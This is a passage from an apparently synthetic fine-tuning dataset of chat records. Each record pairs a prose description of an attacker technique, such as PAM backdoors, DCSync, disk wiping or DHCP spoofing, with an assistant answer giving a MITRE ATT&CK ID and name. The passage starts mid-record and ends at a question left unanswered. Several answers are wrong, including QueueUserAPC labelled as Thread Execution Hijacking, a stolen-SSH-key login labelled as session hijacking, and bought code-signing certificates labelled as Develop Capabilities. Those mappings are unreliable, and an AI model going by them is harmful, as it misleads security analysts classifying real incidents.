                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary deploys a compromised package that overwrites the pam.d/common-auth file, inserting a line that authenticates any user with a preset password."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses the Python zipfile library to compress stolen files before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden VHDX file is dropped onto the host and later mounted by the user, delivering ransomware."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise script leverages VBScript to enumerate local groups through the WinNTProvider."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages the Windows 'taskschd.msc' UI to display an elevation prompt, and once the user clicks 'Yes', it schedules a privileged task."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed base64‑encoded commands in a TXT file hosted on a public file‑sharing site, which infected machines download and decode."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Java servlet is uploaded to a Tomcat server, providing the attacker with remote code execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim machine collects system information such as OS version, hardware details, and language settings, then exfiltrates it."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Microsoft Distributed Component Object Model (DCOM) to remotely execute PowerShell scripts on a victim Windows machine."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed a third‑party wiping tool that performs a multi‑pass overwrite of the disk's content."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the malicious actor modified the Kerberos trust flags, effectively granting a rogue domain access to sensitive resources."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the PAM stack by inserting a custom module in /etc/pam.d/sshd, allowing unauthorized SSH logins without credential verification."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware gathered information about open ports and connections by invoking the 'ss' command on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator runs 'Clear-History' in PowerShell to remove any record of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a crafted systemd timer in /etc/systemd/system that runs a ransomware payload each time the system reaches a specific run level."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a vulnerability to send continuous malformed data streams to an application, leading to its eventual failure."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the red team renamed their backdoor to \"svchost.exe\" and registered it as a system service, making it look like a standard Windows host process."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a new identity in the victim's Salesforce org to exfiltrate data via cloud APIs."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the Kubernetes API server for ConfigMaps and Secrets to obtain service account tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a public DNS server to manipulate domain resolutions for victims."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor queries network trust dependencies to map out reachable internal systems across trusted forest boundaries."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script leverages launchctl print to discover existing launch daemons before injecting malicious code."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team gains unauthorized access to a VPS and deploys ransomware payloads from that server."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Office Test feature to run a payload each time Office applications are opened."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors spoof legitimate e-commerce sites, inserting SEO-rich content that redirects search engine crawlers to their malware distribution page."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses QueueUserAPC to queue malicious code to a thread awaiting an alert in the target application."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit inspects the Windows registry for keys such as \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Virtualization\" to determine sandbox presence."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a stealthy intrusion, the attacker sends a series of HTTP GET requests to non-existent resources on ports 80, 443, and 8080 in a coded order to silently activate a compromised service."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the 'shred' command on Linux to securely delete all files on the victim's hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a WebDAV server to stage and later retrieve exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential validation, the attacker rewrites the verification algorithm to use reversible encryption, so captured password hashes can be decrypted."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves sending AS‑REQ messages for accounts with 'Do Not Require Preauthentication' set, retrieving the AS‑REP and cracking the hash."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party application exposed a remote RPC interface, which was abused to execute code on the victim."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit UPnP on a compromised router to open ports through NAT, enabling inbound connections from the internet."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By setting the file system attribute 'hidden' on a DLL, the adversary ensures the malicious library is not displayed in Windows Explorer."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor copies a custom backdoor tool onto a shared network drive and triggers its execution from another host."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group accessed a repository of obfuscated ransomware payloads on the dark web to diversify their infection methods."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a custom VM snapshot on the compromised host using qemu‑img."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a stolen SSH key to log into a remote server that is exposed to the internet, establishing initial access."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant extracts data from the local system's cache and logs, then exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary hijacks a misconfigured DNS server to redirect victims to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers observed a new botnet client being written from scratch for DDoS attacks."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows Management Instrumentation (WMI) class Win32_PnPEntity to list device driver details."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employed Kerberos ticket requests combined with DCSync to obtain service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase stolen code signing certificates from underground markets and use them to sign malware payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script invoked \"docker exec\" to run a network scanner inside a container to map internal services."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a physical penetration test, the team uses a USB device loaded with data‑exfiltration scripts to automatically gather files from the victim's system when connected."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the browser's security settings to accept self‑signed certificates, downgrading TLS verification."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the 'fsutil' utility to perform a file system wipe, removing all data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse systemd by creating a service that runs a cryptomining binary with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a cross‑site scripting vulnerability to inject a defacement payload that rewrote the visible content of the site for all users."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors insert a GUID into the Active Setup registry and set the ComponentPath to a malicious script executed during user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a personalized email with a link to a counterfeit banking portal to capture user credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a malicious XPC service to allow a privileged helper process to receive commands from a low‑privilege user‑level component."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the intrusion, the adversary performed DHCP spoofing by broadcasting fraudulent DHCP OFFER packets, causing client machines to route through the attacker's system."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captured the time-based one-time password generated by Google Authenticator and transmitted it to the command server."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a previously stolen Azure AD account, the attacker accessed the organization's cloud resources without triggering MFA."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a legitimate video conferencing application to hijack the camera feed and redirect the video stream to their own server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor uses the SMB protocol to copy files from a remote share and execute them locally."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary's payload uses asymmetric cryptography to encrypt data before sending it over the network."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious executable in a directory that appears earlier in the system's PATH variable, causing legitimate programs to load the malicious version."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script executed 'ipconfig /all' through the Windows Command Shell to gather network configuration data."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware payload extracts cached domain credentials using the Windows DPAPI to decrypt stored hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro spreads laterally by creating scheduled tasks on other domain computers."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accessed the Safari password manager to copy saved website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a .locked file for each encrypted document and writes a .txt ransom note on the desktop with instructions for the victim."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors moved encrypted data into %TEMP%\\staging before sending it out over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor performed \"docker exec\" to read sensitive configuration files stored in a container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro changes the Windows power options to keep the computer awake after user logoff."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor tampered with stored encryption keys in a key management system to decrypt sensitive data later."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor inserts malicious code into a signed software installer, allowing persistent access after installation."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan modifies the Group Policy to disable real-time scanning on all workstations in the domain."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting malicious code into the Accessibility Options dialog, the attacker ensures the payload runs whenever a user accesses the \"Ease of Access Center\"."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a vulnerable web application to write a malicious cron entry that triggers a credential dumping tool nightly."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the cloud provider's management API and updates the instance metadata of several compute nodes to execute a persistence payload."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat actor uses a zero-day exploit to gain initial access to a high-security network, then establishes persistence and conducts reconnaissance."
            },
            {
                "role": "assistant",
